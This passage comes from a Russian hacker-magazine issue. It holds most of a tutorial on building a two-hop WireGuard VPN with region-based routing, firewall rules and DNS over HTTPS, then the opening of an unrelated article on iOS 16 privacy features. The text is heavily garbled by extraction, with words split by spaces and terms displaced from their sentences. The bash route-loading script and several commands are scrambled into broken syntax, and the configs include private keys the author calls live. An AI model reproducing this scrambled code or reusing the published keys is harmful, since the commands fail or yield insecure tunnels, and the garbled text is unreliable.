1 | awk '/inet/ {print $2}' | awk -F/ '{print $1}'` table main

#external node
[Peer]

  PublicKey = FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=
  AllowedIPs = 10.20.30.2/32, 0.0.0.0/0

/etc/wireguard/wg-external.conf
[Interface]

  Address = 10.20.30.2/32
  PrivateKey = 6CCRP42JiTObyf64Vo0BcqsX6vptsqOU+MKUslUun28=

  PostUp = iptables -t nat -A POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

  PostDown = iptables -t nat -D POSTROUTING -o `ip route | awk '/
default/ {print $5; exit}'` -j MASQUERADE

#internal node
[Peer]

  PublicKey = MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=
  AllowedIPs = 10.20.30.0/24

  Endpoint = 195.2.79.13:17968
  PersistentKeepalive = 25

Те перь мож но под нять тун нели на обо их сер верах:

root@trikster-external:~# wg-quick down wg-external ; wg-quick up 
wg-external

root@trikster-internal:~# wg-quick down wg-internal ; wg-quick up 
wg-internal

Про веря ем, что тун нели активны, коман дой :wg

root@trikster-internal:~# wg
...
peer: FulnUTovyyfgn5kmgPkcj2OjKRFGeLkaTsHtAOy6HW8=
 endpoint: 51.159.187.77:36276
 allowed ips: 10.20.30.2/32, 0.0.0.0/0
 latest handshake: 13 seconds ago
 transfer: 180 B received, 92 B sent

root@trikster-external:~# wg
...
peer: MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=
 endpoint: 195.2.79.13:17968
 allowed ips: 10.20.30.0/24
 latest handshake: 10 seconds ago
 transfer: 92 B received, 180 B sent
 persistent keepalive: every 25 seconds

Ес ли видим «latest handshake: ... seconds ago» и бай ты и в  и в ,

зна чит, все хорошо. Если бай ты толь ко в , без хен дшей ка и получен ных
дан ных, зна чит, где-то в кон фиге ошиб ка или сер веры недос тупны друг
для дру га.

received sent

send

Ес ли что-то пош ло не так и отва лил ся SSH, то дос таточ но перезаг рузить
сер вер — активные тун нели сбро сят ся.

Ес ли же все хорошо и дос туп к сер верам сох ранил ся, ста вим тун нели
в авто запуск:

root@trikster-internal:~# systemctl enable wg-quick@wg-internal.
service

root@trikster-external:~# systemctl enable wg-quick@wg-external.
service

Поп робу ем пос мотреть мар шрут (рекомен дую замеча тель ную ути литу
, ) без тун неля:mytraceroute mtr

 10  
mtr 
root@trikster-internal:~# wg-quick down wg-internal && sleep &&

-r google.com
HOST: trikster-internal.local     Loss%   Snt   Last   Avg  Best  
Wrst StDev
 1.|-- host-89-22-232-243.hosted  0.0%    10    0.3   5.4   0.3  

49.8  15.6
 2.|-- 172.31.0.1                 0.0%    10    0.3  19.8   0.3 

122.2  42.6
 3.|-- 109.239.138.90             0.0%    10    1.5   1.9   1.4  
3.0   0.6
 4.|-- 91.108.51.4                0.0%    10   11.4  11.4  11.3  

11.7   0.1
 5.|-- 178.18.227.12.ix.dataix.e  0.0%    10   11.0  17.9  11.0  

77.0  20.8

И с тун нелем:

 10 root@trikster-internal:~# wg-quick up wg-internal && sleep &&  
mtr -r google.com
HOST: trikster-internal.local     Loss%   Snt   Last   Avg  Best  
Wrst StDev
 1.|-- 10.20.30.2                 0.0%    10   51.3  51.3  51.2  

51.4   0.1
 2.|-- 10.200.100.0               0.0%    10   51.4  51.4  51.2  

51.6   0.1
 3.|-- 10.197.37.65               0.0%    10   52.5  52.2  52.0  

52.5   0.2
 4.|-- 10.197.0.41                0.0%    10   52.2  52.2  52.1  

52.5   0.1
 5.|-- 10.197.0.44                0.0%    10   52.0  52.2  51.9  

52.4   0.1

Все хорошо, тра фик идет через внеш ний сер вер — сна чала на 10.20.30.2,
который у нас наз начен выход ной нодой, а потом через его мар шру тиза торы.

У нас получи лась при мер но сле дующая схе ма.

ØÀÃ 3. ÄÎÁÀÂËßÅÌ ÊÎÍÔÈÃ ÊËÈÅÍÒÀ

Соз даем кон фиг кли ента, конеч ного устрой ства — поль зовате ля VPN. За осно -
ву берем , потому что это точ но такой же кли ент, который
под клю чает ся к : раз ница толь ко в том, что  будет получать

пакеты, а наш кли ент — отправ лять.

wg-external.conf
internal external

Ге нери руем ему сра зу пару пуб личный и при ват ный ключ:

      root@:~# prk=`wg genkey` && pbk=`echo $prk | wg pubkey` && printf
"Private: $prk\nPublic: $pbk\n"
Private: iPK7hYSU8TLVRD+w13nd3aGSYNLfnTx6zwdRzKcGb1o=
Public: 26Vhud00ag/bdB9molvSxfBzZTlzdO+aZgrX3ZDncSg=

Кон фиг поч ти такой же (этот файл уже дол жен быть на тво ем устрой стве, не на
сер вере):

/etc/wireguard/wg-notebook-client.conf
[Interface]

  Address = 10.20.30.3/32
  PrivateKey = iPK7hYSU8TLVRD+w13nd3aGSYNLfnTx6zwdRzKcGb1o=

  DNS = 1.1.1.1, 8.8.8.8

#internal node
[Peer]

  PublicKey = MxnOnIlKfSyZyRutnYyoWHb3Izjalgf1t8F1oPJiyyw=
  AllowedIPs = 0.0.0.0/0

  Endpoint = 195.2.79.13:17968
  PersistentKeepalive = 25

Тут у нас добави лась опция . Дело в том, что роуте ры

в цепоч ке меж ду дву мя пирами ничего не зна ют о сес сии WG, а зна ют толь ко
о потоке UDP-пакетов. Для мар шру тиза ции UDP-пакетов за NAT они соз дают
у себя таб личку, в которую записы вают, кто, куда и на какой порт отпра вил
пакет. И если с destination-адре са/пор та при ходит UPD-пакет, то они опре -
деля ют, куда его отпра вить, по этой таб лице, делая вывод, что если сер вер B
недав но отпра вил пакет сер веру А, то ответ от сер вера А на этот же адрес
и порт, ско рее все го, надо перес лать сер веру B.

PersistentKeepalive

В UDP, в отли чие от TCP, нет никаких догово рен ностей о под держа нии сес -
сии, так как нет и самого понятия сес сии. WG же пос тро ен таким обра зом, что
при отсутс твии тра фика, попада юще го в тун нель, не будет и тра фика меж ду
пирами, толь ко хен дшей ки раз в две минуты. Опция 

зас тавля ет его посылать пус тые пакеты каж дые 25 с, что пре дот вра щает
потерю мар шру та на про межу точ ных роуте рах. Без это го мы бы мог ли раз
за разом отправ лять пакеты, до вто рого пира они не доходи ли бы, а он бы
об этом не знал.

PersistentKeepalive

Даль ше мы добав ляем еще одну сек цию  в кон фиг на  —

для кли ента:

Peer internal

#notebook-client node
[Peer]

  PublicKey = 26Vhud00ag/bdB9molvSxfBzZTlzdO+aZgrX3ZDncSg=
  AllowedIPs = 10.20.30.3/32

Пе реза пус каем тун нель на  ( ), под клю чаем ся…

Есть хен дшейк! Дан ные пош ли.

internal wg-quick down/up

Те перь смот рим свой IP (нап ример, на ): видим IP  ноды
и дру гую стра ну.

reg.ru external

Та ким же обра зом соз даем кон фиги для дру гих кли ентов. Если это мобиль -
ные устрой ства, то удоб нее показать им QR-код. Он дела ется сле дующим
обра зом. Соз даем в текущей пап ке кон фиг как обыч но (конеч но, с новыми
клю чами и дру гим IP), называ ем, нап ример, . А даль -

ше пря мо коман дой в кон соли соз даем QR-код, который ска ниру ем с телефо -
на:

wg-moblie-client.conf

root@:~# qrencode -t ansiutf8 < wg-moblie-client.conf

Это удоб нее, чем копиро вание фай лов, но тебе ник то не меша ет ски нуть 

 на телефон или вооб ще ввес ти зна чения семи полей

вруч ную.

wg-
moblie-client.conf

Те перь наша схе ма выг лядит сле дующим обра зом.

В целом все готово: мы толь ко что сде лали очень стран ный двух хоповый VPN.
Надо это дело отме тить! Откры ваем Сбер маркет, что бы заказать пив ка...

Ах да, мы же с этой проб лемой и собира лись бороть ся. Нелов ко!
Да вай додела ем.

Продолжение статьи →

https://www.reg.ru/web-tools/myip


РАЗБИРАЕМСЯ
С WIREGUARD

И ДЕЛАЕМ
СВОЙ УМНЫЙ VPN

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ØÀÃ 4. ÄÎÁÀÂËßÅÌ ÐÅÃÈÎÍÀËÜÍÎ ÇÀÂÈÑÈÌÓÞ
ÌÀÐØÐÓÒÈÇÀÖÈÞ

Как ты пом нишь, мы отправ ляем все дан ные с кли ента на , он все дан -
ные шлет на , а тот уже сво ему про вай деру. Так же мы пом ним, что

у нас на  «сла бый» мар шрут 0.0.0.0/0, который переби вает ся любыми

дру гими мар шру тами, а сам  находит ся в рос сий ском сег менте. Зна -
чит, все, что нам надо, — это как-то перех ватить зап росы на рос сий ские IP
на уров не  и перенап равить их не в тун нель WG до , а нап -

рямую в сетевой порт самого сер вера, в тот, через который он получа ет дос туп
в пра вос лавный, рос сий ский интернет со скре пами и девица ми в кокош никах.

internal

external

internal

internal

internal external

Да вай про верим пред положе ние. На кли енте получим IP того же Сбер -
марке та ( ) и пос мотрим, как туда идет тра фик
( ):

nslookup sbermarket.ru
traceroute 212.193.158.175

HOST: vvzvladMBP14.local          Loss%   Snt   Last   Avg  Best  
Wrst StDev
 1.|-- 10.20.30.1                 0.0%    10    3.9   4.3   3.2  
6.5   1.1
 2.|-- 10.20.30.2                 0.0%    10   55.7  56.0  54.6  

59.2   1.2
 3.|-- 10.200.100.0               0.0%    10   55.5  56.1  54.9  

58.6   1.1
 4.|-- 10.197.37.65               0.0%    10   56.0  56.9  55.4  

60.1   1.7
 5.|-- 10.197.0.41                0.0%    10   56.1  57.0  55.7  

60.9   1.6

Ага, как и ожи далось, через .external

Те перь соз дадим мар шрут до это го адре са через дефол тный шлюз
и устрой ство. Их мож но узнать в :ip r

root@trikster-internal:~# ip r
default via 195.2.79.1 dev ens3 onlink
10.20.30.2 dev wg-internal scope link
...

 и  — это и есть нуж ные нам дан ные. Исполь зуем уже зна -

комые под ста новоч ные коман ды и соз дадим новый мар шрут:

195.2.79.1 ens3

target_ip="212.193.158.175/32"
 gateway=`ip route | awk '/default/ {print $3; exit}'`

 gateway_device=`ip route | awk '/default/ {print $5; exit}'`
 via  dev ip route add $target_ip $gateway $gateway_device

Про веря ем:

root@trikster-internal:~# ip r
default via 195.2.79.1 dev ens3 onlink
10.20.30.2 dev wg-internal scope link
10.20.30.3 dev wg-internal scope link
195.2.79.0/24 dev ens3 proto kernel scope link src 195.2.79.13
==> 212.193.158.175 via 195.2.79.1 dev ens3 <==

Да, на пос леднем мес те у нас нуж ный мар шрут.
Те перь пов торя ем коман ду  на кли енте

и видим, что трейс дру гой:
traceroute -r 212.193.158.175

HOST: vvzvladMBP14.local          Loss%   Snt   Last   Avg  Best  
Wrst StDev
 1.|-- 10.20.30.1                 0.0%    10    4.3   7.9   3.7  

29.1   7.9
 2.|-- host-89-22-232-243.hosted  0.0%    10    4.6   4.9   3.8  
9.2   1.6
 3.|-- 172.31.0.1                 0.0%    10   25.9   8.4   3.3  

25.9   6.9
 4.|-- sw1-m9p2-msk.ip.ngenix.ne  0.0%    10    6.2   5.7   4.0  
7.3   1.0
 5.|-- cdn.ngenix.net             0.0%    10    3.8   5.0   3.8  
8.4   1.3

Ура, Сбер маркет откры вает ся! Прав да, такое сра бота ет не со все ми сер -
висами: нап ример, JavaScript на сай те может дер нуть дру гой сер вер, а не тот,
в адрес которо го резол вится имя домена и до которо го нет мар шру та.

Мож но схо дить на , вбить туда адрес и получить при над -
лежность адре са к AS и заод но спи сок под сетей этой autonomous system (у
Сбер марке та это AS34879, OOO Sovremennye setevye tekhnologii). С боль шой
веро ятностью для более-менее круп ных ком паний это и будет их сетевая
инфраструк тура (ну или, по край ней мере, инфраструк тура, отно сяща яся к кон -
крет ному сай ту), про писав для которой мар шру ты ты обес печишь дос туп
на нуж ный сайт или сер вис. Для мел ких сай тов ты, ско рее все го, получишь AS
хос тера или дата-цен тра, но, во-пер вых, это тоже сра бота ет, а во-вто рых, мел -
кие сай ты обыч но и не зак рыва ют инос тран ные диапа зоны, потому что
не испы тыва ют проб лем с DDoS из-за гра ницы.

asnlookup.com

Но мож но сде лать про ще и авто мати чес ки: засунуть в мар шру ты вооб ще
все адре са рос сий ско го сег мента (спа сибо  на Хаб ре) и не парить ся
о руч ном добав лении.

статье

RIPE отда ет их все в виде JSON вот по это му адре су:
https://stat.ripe.net/data/country-resource-list/data.json?resource=ru
Ути лита jq пре обра зует из JSON в спи сок под сетей:

 
curl https://stat.ripe.net/data/country-resource-list/data.json?
resource=ru | jq -r ".data.resources.ipv4[]"

Прав да, почему-то некото рые адре са там в фор мате 
, а не в виде под сети. Их там с десяток, мож но было бы так и оста вить,

но, если уж начали делать, давай сде лаем до кон ца и кра сиво. Нам понадо бит -
ся ути лита ipcalc.

195.85.234.0-195.85.
236.255

 root@:~# ipcalc 195.85.234.0-195.85.236.255 |grep -v "deaggregate"
195.85.234.0/23
195.85.236.0/24

Вы делить эти адре са из базово го спис ка лег ко:  или .grep '-' grep -v '/'
Скрипт для заг рузки роутов выг лядит как-то так (я не удер жался и добавил

туда еще и прог ресс-бар):

#!/bin/bash

function ProgressBar {
 100/ 100 /100let _progress=(${1}* ${2}* )
 4 /10let _done=(${_progress}* )
 40-let _left= $_done
  _fill=$(printf "%${_done}s")
  _empty=$(printf "%${_left}s")
  printf "\rAdd routes to route table (${1}/${2}): [${_fill// /#}

${_empty// /-}] ${_progress}%%"
}

# Variables
file_raw="russian_subnets_list_raw.txt"
file_user="subnets_user_list.txt"
file_for_calc="russian_subnets_list_raw_for_calc.txt"
file_processed="russian_subnets_list_processed.txt"

 gateway_for_internal_ip=`ip route | awk '/default/ {print $3; 
exit}'`

ip    interface=` link show | awk -F ': ' '/state UP/ {print $2}'`

# Get addresses RU segment
 echo "Download RU subnets..."

curl  
 

  

--progress-bar "https://stat.ripe.net/data/
country-resource-list/data.json?resource=ru" | jq -r ".data.
resources.ipv4[]" > $file_raw

 echo "Deaggregate subnets..."
   cat $file_raw |grep "-" > $file_for_calc
    cat $file_raw |grep -v "-" > $file_processed
line     

   
for in $(cat $file_for_calc); do ipcalc $line |grep -v
"deaggregate" >> $file_processed; done

         
    

if [ -e $file_user ]; then echo "Add user subnets..."; cat
$file_user |grep -v "#" >> $file_processed; fi

# Flush route table
 echo "Flush route table (down interface $interface)..."

 ifdown $interface > /dev/null 2>&1
 echo "Up interface $interface..."

ifup  $interface > /dev/null 2>&1

# Add route
  routes_count_in_file=`wc -l $file_processed`

0routes_count_current=
line     via 

 dev   
  

 

for in $(cat $file_processed); do ip route add $line
$gateway_for_internal_ip $interface; let
"routes_count_current+=1" ; ProgressBar ${routes_count_current} ${
routes_count_in_file}; done

 echo ""

 echo "Remove temp files..."
    rm $file_raw $file_processed $file_json $file_for_calc

 routes_count=`ip r | wc -l`
 echo "Routes in routing table: $routes_count"

До бавим строч ки в крон ( ), что бы он запус кался пос -

ле перезаг рузки и каж дую неделю — обно вить спи сок адре сов, если они
поменя лись:

EDITOR=nano crontab -e

@reboot sleep 30 && bash /root/update_ru_routes.sh > /root/update_
routes_log.txt 2>&1
0 3 * * mon bash /root/update_ru_routes.sh > /root/update_routes_
log.txt 2>&1

Ес ли тебе нуж но при нуди тель но мар шру тизи ровать какую-то сеть через
, то мож но рядом со скрип том соз дать фай лик 

, в который помес тить спи сок под сетей, тог да они каж дый раз будут добав -

лять ся к обще му спис ку при обновле нии (в скрип те выше эта воз можность уже
реали зова на).

internal subnets_user_list.
txt

Мой, нап ример, выг лядит так:

#avito
146.158.48.0/21
#
#telegram
91.108.4.0/22
91.108.8.0/22
91.108.58.0/23
95.161.64.0/20
149.154.160.0/21

Пер вая под сеть — для мобиль ного при ложе ния «Ави то»: ее почему-то не было
в спис ке RIPE. Даль ше под сети для «Телег рама», что бы хоть нем ного уско рить
заг рузку фото и видео.

Про веря ем.

Как видишь, раз ные сер висы показы вают нам раз ные адре са, потому что один
сер вис хос тится где-то внут ри Рос сии, а дру гой — сна ружи. Работа ет!

Кста ти, если у тебя  находит ся в домаш ней сети, бонусом ты

получишь дос туп к домаш ней сети из любого мес та, где находит ся устрой ство
со вклю чен ным VPN: мар шрут 0.0.0.0/0 на устрой стве отправ ляет в VPN весь
тра фик, а , замечая тра фик в ту под сеть, в которой он находит ся,

отправ ляет ее в локаль ный порт, а не в тун нель до . Очень удоб но:

у меня в домаш ней сети работа ет сер вер с докер-кон тей нерами web2rss,
ownCloud, navidrome, freshrss, rss-bridge, homeassistant, и мне для получе ния
дос тупа к ним совер шенно не надо замора чивать ся с проб росом пор тов, авто -
риза цией каж дого сер вера и HTTPS, не говоря уж о том, что некото рые сер -
висы, типа IoT-устрой ств, не име ют ни авто риза ции, ни шиф рования в прин -
ципе.

internal

internal

external

Окон чатель ная схе ма

ØÀÃ 5. ÍÀÑÒÐÀÈÂÀÅÌ ÔÀÉÐÂÎË

По лез ной при выч кой и хорошим тоном будет зак рыть все ненуж ное на сер -
верах.

Для начала на обо их сер верах редак тиру ем файл , изме -
няя зна чение  на .

/etc/default/ufw
DEFAULT_FORWARD_POLICY ACCEPT

Те перь выпол няем сле дующие коман ды на :internal

ufw reset
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw allow 17968/udp
ufw allow in on wg-internal

ufw systemctl enable --now
ufw enable

Что про исхо дит, думаю, понят но — зап ретить все, раз решить исхо дящие, вхо -
дящие SSH и под клю чения к WG, а что при ходит из тун неля — раз решить.

На  то же самое, но откры вать порт для WG не надо — он под клю -

чает ся сам.

external

ufw reset
ufw default deny incoming
ufw default allow outgoing
ufw allow ssh
ufw allow in on wg-external

ufw systemctl enable --now
ufw enable

Еще хорошо бы пос тавить и нас тро ить fail2ban или хотя бы перенес ти SSH
на дру гой порт. В любом слу чае отклю чение вхо да по паролю через SSH вооб -
ще и переход толь ко на авто риза цию по клю чу — это базовая опе рация,
не зависи мо ни от чего.

ØÀÃ 6, ÁÎÍÓÑÍÛÉ È ÍÅÎÁßÇÀÒÅËÜÍÛÉ. ÊÅØÈÐÓÞÙÈÉ
ÇÀÙÈÙÅÍÍÛÉ DNS OVER HTTPS

Те перь нам нуж на еще одна вещь — DNS.
Мож но, конеч но, жить с DNS , но надо учи тывать, что тра фик

на него пой дет через , а это авто мати чес ки озна чает задер жку поряд -

ка 100 мс при каж дом зап росе. Мож но, конеч но, добавить 

в , и тог да тра фик пой дет через локаль ную ноду
и локаль ный сер вер . Это умень шит задер жку до 10–20 мс, но твои

DNS-зап росы будет дос тупны про вай деру, что в слу чае локаль ной ноды
для кого-то может быть неп рием лемо.

1.1.1.1
external

1.1.1.1/32
subnets_user_list.txt

1.1.1.1

Нес коль кими коман дами мож но лег ко сде лать кеширу ющий DNS, который
еще и будет работать с DNS over HTTPS, а зна чит, про вай дер узна ет толь ко,
что исполь зовал ся DoH, но не сами зап росы. Это, конеч но, не обя затель но:
у меня  находит ся в домаш ней сети, и я прос то исполь зую DNS «Мик -

ротика», который находит ся в той же сети и под держи вает DoH. Но если у тебя
-сер вер — это VPS, то мож но сде лать там и DNS-сер вер. Исполь -

зовать будем cloudared и dnsmasq.

internal

internal

До бав ляй репози тарий:

  mkdir -p --mode=0755 /usr/share/keyrings
curl -fsSL https://pkg.cloudflare.com/cloudflare-main.gpg |  tee /
usr/share/keyrings/cloudflare-main.gpg > /dev/null

 
 | 

echo 'deb [signed-by=/usr/share/keyrings/cloudflare-main.gpg] 
https://pkg.cloudflare.com/cloudflared buster main' tee /etc/
apt/sources.list.d/cloudflared.list

 sudo apt-get update && sudo apt-get install cloudflared dnsmasq -y

Пи шем кон фиг:

/etc/cloudflared/config.yml
 logfile: /var/log/cloudflared.log

 proxy-dns: true
proxy-dns-upstream:

 - https://1.0.0.1/dns-query
 - https://1.1.1.1/dns-query
 - https://2606:4700:4700::1111/dns-query
 - https://2606:4700:4700::1001/dns-query

 proxy-dns-port: 5353
 proxy-dns-address: 127.0.0.1

Как вари ант, можешь заменить в proxy-dns-upstream записи таким адре сом:

https://security.cloudflare-dns.com/dns-query

Или таким:

https://9.9.9.9/dns-query

Пер вый — это бло киров щик мал вари, вто рой — это Quad9.
Соз дай сер вис:

/etc/systemd/system/cloudflared.service
[Unit]
Description=DNS over HTTPS (DoH) proxy client
Wants=network-online.target nss-lookup.target
Before=nss-lookup.target

[Service]
AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
DynamicUser=yes
ExecStart=/usr/local/bin/cloudflared --config /etc/cloudflared/
config.yml

[Install]
WantedBy=multi-user.target

Те перь оста лось запус тить его и засунуть в авто заг рузку:

systemctl daemon-reload
systemctl start cloudflared
systemctl status cloudflared
systemctl enable cloudflared

Про веря ем:

dig @127.0.0.1 -p5353 google.com

У cloudared есть один минус — у него стран ное кеширо вание, которое дер -
жится сов сем недол го, поэто му для кеширо вания допол нитель но нас тро им
dnsmasq, ука зав ему в качес тве сер вера cloudared.

По это му надо добавить в  что-то вро де таких строк:/etc/dnsmasq.conf

server=127.0.0.1#5353
no-poll
no-resolv
listen-address=10.20.30.1, 127.0.0.1
cache-size=1500
stop-dns-rebind
clear-on-reload
no-negcache

За пус каем:

systemctl restart dnsmasq.service

Про веря ем:

dig @127.0.0.1 google.com

И уже мож но сде лать это с кли ента:

dig @10.20.30.1 google.com

Ес ли ответ на зап рос есть, зна чит, DNS работа ет и мож но запус тить коман ду
нес коль ко раз — при пов торных зап росах Query time дол жен стать 0 мс
или око ло того, если ты зап рашива ешь localhost, или будет близ ко к пин гу
до , если дела ешь это с кли ента.internal

Те перь мож но добавить в кон фиги кли ентов в сек цию :Interface

  DNS = 10.20.30.1, 1.1.1.1

Осо бые парано ики могут запус тить cloudared на  и скрыть от локаль -

ного про вай дера даже сам факт исполь зования DoH. Для это го в proxy-dns-
address в кон фиге cloudared и в dnsmasq.conf надо прос то ука зать 10.20.30.2
(IP-адрес ).

external

external

Кста ти, в качес тве аль тер нативы мож но пос тавить на тот же сер вер ути литу
, которая дела ет при мер но то же самое, но еще бло киру ет рек ламу

и показы вает кра сивую ста тис тику.
Pi-hole

ÂÛÂÎÄÛ

Па ры клю чей в статье — дей ству ющие, так что можешь, ничего не исправ ляя
в кон фигах (толь ко IP -сер вера), залить их на свои сер веры и кли ент

и пораз вле кать ся. Но для боево го при мене ния клю чи надо обя затель но
переге нерить.

internal

Бла го это прос то, даже если тебе лень раз бирать ся с руч ной генера цией
клю чей, — я соз дал неболь шой bash-скрипт для это го. Дос таточ но сде лать так
на -сер вере:internal

apt   gitinstall -y
git clone https://github.com/vvzvlad/trickster-vpn.git
cd trickster-vpn/config_generator
bash generate_cfgs.sh

Пос ле чего в пап ке  появят ся кон -
фиги с толь ко что сге нери рован ными клю чами, и оста нет ся толь ко ско пиро вать

 в , 

унес ти на дру гой сер вер, а  исполь зовать для ноут -

бука или телефо на. Ну и не забыть о проб росе пор та, если  у тебя
за NAT.

trickster-vpn/config_generator/configs

wg-internal.conf /etc/wireguard/wg-internal.conf wg-external.conf
wg-mobile-client.conf

internal

Ес ли кто-то захочет это все кра сиво обер нуть в два докера и прик рутить
один из веб-интерфей сов для WireGuard (потому что кон фиги кли ентов все же
удоб нее соз давать в нем) — доб ро пожало вать на гит хаб: .Trickster VPN

https://asnlookup.com/
https://habr.com/en/post/659655/
https://stat.ripe.net/data/country-resource-list/data.json?resource=ru
https://github.com/pi-hole/pi-hole/
https://github.com/vvzvlad/trickster-vpn


ИЗУЧАЕМ НОВЫЕ
СПОСОБЫ ЗАЩИТЫ ДАННЫХ

В ПОСЛЕДНЕЙ iOS

Олег Афонин
Эксперт по мобильной

криминалистике компании
«Элкомсофт»

aoleg@voicecallcentral.com

ПРИВАТНОСТЬ

Бе зопас ность лич ных дан ных — нап равле -
ние, которое активно раз вива ют раз -
работ чики мобиль ных ОС. В Apple защиту,
по сути, прев ратили в товар; это му воп -
росу пос вящен  на сай те
ком пании. Сегод ня мы погово рим о том,
что нового в сфе ре кон фиден циаль нос ти
и безопас ности появи лось в све жей вер -
сии iOS 16, анон сирован ной 7 сен тября.

це лый раз дел

SAFETY CHECK

Фун кция Safety Check («про вер ка безопас ности») поз воля ет про верить
или быс тро сбро сить нас трой ки кон фиден циаль нос ти, отве чающие за дос туп
к дан ным, который ты ког да-то пре дос тавлял людям, при ложе ниям или устрой -
ствам.

Safety Check

Что это озна чает на прак тике? Допус тим, ког да-то дав но ты открыл кому-то
дос туп к сво ему мес тополо жению, а этот кто-то тво им довери ем зло упот -
ребил. Напом ню, в таком слу чае у доверен ного лица будет воз можность
в любой момент узнать, где ты находишь ся, с доволь но высокой точ ностью.
При некото рой сно ров ке мож но орга низо вать пол ноцен ную слеж ку. Safety
Check поз волит прос мотреть, у кого есть такой дос туп, и отклю чить его у не
оправдав ших доверие лиц. Под робнее о том, как это сде лать, мож но про читать
в .за мет ке, пос вящен ной фун кции Safety Check

Са ма ком пания Apple позици они рует Safety Check в качес тве помощи
людям в ситу ациях домаш него насилия, но ее воз можнос ти этим не огра ничи -
вают ся. C исполь зовани ем этой фун кции ты можешь сбро сить нас трой ки дос -
тупа и сис темные раз решения на кон фиден циаль ность для при ложе ний (как
всех ско пом, так и по отдель нос ти). То же самое ты мог сде лать и рань ше,
но тебе приш лось бы хорошень ко полазить по мно жес тву пун ктов меню, отзы -
вая нас трой ки для каж дого при ложе ния по отдель нос ти, либо сбро сить сра зу
все нас трой ки устрой ства, что очень неудоб но.

На конец, при помощи Safety Check мож но огра ничить при ем сооб щений
(SMS и iMessage) и звон ков FaceTime одним устрой ством. Она отклю чает
облачную фун кци ональ ность, бла года ря которой ты можешь видеть тек сто вые
сооб щения и вхо дящие звон ки FaceTime не толь ко на сво ем iPhone, но и
на дру гих устрой ствах Apple, при вязан ных к тво ей учет ной записи, нап ример
iPad или MacBook. Опять же ничего сверхъ естес твен ного — то же самое мож -
но сде лать и вруч ную, но имен но в Safety Check все перечис ленное соб рано
в одном мес те, а сбро сить выдан ные раз решения мож но бук валь но в пару
нажатий.

ÍÎÂÎÅ ÐÀÇÐÅØÅÍÈÅ: ÄÎÑÒÓÏ Ê ÁÓÔÅÐÓ ÎÁÌÅÍÀ

Пом нишь, сколь ко шума надела ли появив шиеся в iOS 14 бан неры, уве дом -
ляющие о том, что при ложе ние про чита ло дан ные из буфера обме на?

Уве дом ление о чте нии буфера обме на

Мно гих эти бан неры раз дра жали и про дол жают раз дра жать до сих пор,
но отклю чить эту воз можность на уров не сис темы невоз можно. В iOS 16 раз -
работ чики наконец приш ли к оче вид ному решению: теперь для дос тупа
к буферу обме на при ложе ния дол жны зап рашивать раз решение.

Для дос тупа к буферу обме на при ложе ниям теперь тре бует ся раз решение

Под робнее об этом мож но про читать в статье 
, здесь же отме чу, что, однажды раз решив при ложе нию дос туп

к буферу обме на, окош ка с назой ливым зап росом ты боль ше не уви дишь.

UIPasteBoard’s privacy change
in iOS 16

Кста ти, инте рес но, сбра сыва ется ли новое раз решение новой фун кци ей
Safety Check? Это мы смо жем про верить толь ко пос ле офи циаль ного выхода
iOS 16. В бета-вер сиях iOS 16 еди нож ды выдан ное раз решение не отоб ража -
ется в общем спис ке раз решений получив шего его при ложе ния, так что отоз -
вать или сбро сить его никак не получит ся.

И еще одно наб людение: зап рос не появ ляет ся, если ты сам ини циируешь
встав ку из буфера обме на, кос нувшись коман ды «Вста вить» во всплы вающем
меню. Соот ветс твен но, новая фун кция огра ничи вает лишь фоновый дос туп
к буферу, то есть такой дос туп, который при ложе ния получа ют без учас тия
и явно го сог ласия поль зовате ля. На дан ный момент фун кция выг лядит сырой
и нес коль ко недоде лан ной, но пос мотрим, что будет в окон чатель ной вер сии
iOS 16.

ÇÀÙÈÒÀ ÑÊÐÛÒÛÕ È ÓÄÀËÅÍÍÛÕ ÔÎÒÎÃÐÀÔÈÉ

Воз можность скрыть фотог рафии появи лась в iOS доволь но дав но. Почитать
об этой воз можнос ти мож но, нап ример, на .
До выхода iOS 16 скры тые фотог рафии все го лишь попада ли в спе циаль ный
аль бом с «говоря щим» наз вани ем. Кста ти, ана логич ным обра зом сис тема пос -
тупала и с  фото и видео.

офи циаль ном сай те Apple

уда лен ными
Скры тые и уда лен ные фотог рафии при этом исче зали из основной лен ты

в при ложе нии Photo, но прос мотреть содер жимое этих аль бомов было про ще
прос того: дос таточ но лишь открыть пап ку с соот ветс тву ющим наз вани ем.
Мно гих поль зовате лей такое положе ние дел не устра ива ло: в слу чаях, ког да
iPhone с пло хо скры тыми фотог рафи ями попадал в руки зло умыш ленни ков
или прос то любопыт ных, доходи ло даже до уволь нений.

В App Store рас цвел целый букет раз нооб разных при ложе ний, скры вающих
или защища ющих дос туп к при ват ным фото и видео. Удобс тво, безопас ность
и при ват ность подоб ных при ложе ний вызыва ли мас су воп росов. Наконец,
в iOS 16 появил ся механизм, поз воля ющий защитить при ват ные фото и видео
от слу чай ного прос мотра стан дар тны ми средс тва ми опе раци онной сис темы.

В iOS 16 появи лась воз можность защитить при ват ные фото и видео
от слу чай ного прос мотра

В новой вер сии iOS аль бомы скры тых или уда лен ных фото и видео будут
защище ны: для дос тупа к ним по умол чанию пот ребу ется авто риза ция через
Face ID, Touch ID или с помощью кода бло киров ки. При желании поль зователь
смо жет отклю чить такую авто риза цию в нас трой ках.

ÔÓÍÊÖÈÈ, ÎÒÍÎÑßÙÈÅÑß Ê ÁÅÇÎÏÀÑÍÎÑÒÈ

Опи сан ные выше фун кции име ли отно шение к защите кон фиден циаль нос ти
поль зовате ля; теперь давай погово рим о воз можнос тях, приз ванных повысить
безопас ность устрой ства или сде лать исполь зование преж них фун кций
безопас ности более удоб ным.

Lockdown Mode
Ин терес нее все го в iOS 16, хотя, веро ятно, этой воз можностью и ред ко поль -
зуют ся, спе циаль ный режим Lockdown Mode, раз работан ный для защиты
людей, чья общес твен ная или про фес сиональ ная деятель ность под верга ет их
рис ку пер сонали зиро ван ных атак.

Lockdown Mode

Для акти вации режима пот ребу ется не толь ко вклю чить дан ную нас трой ку, но и
перезаг рузить iPhone. Пос ле это го смар тфон зарабо тает в осо бом безопас ном
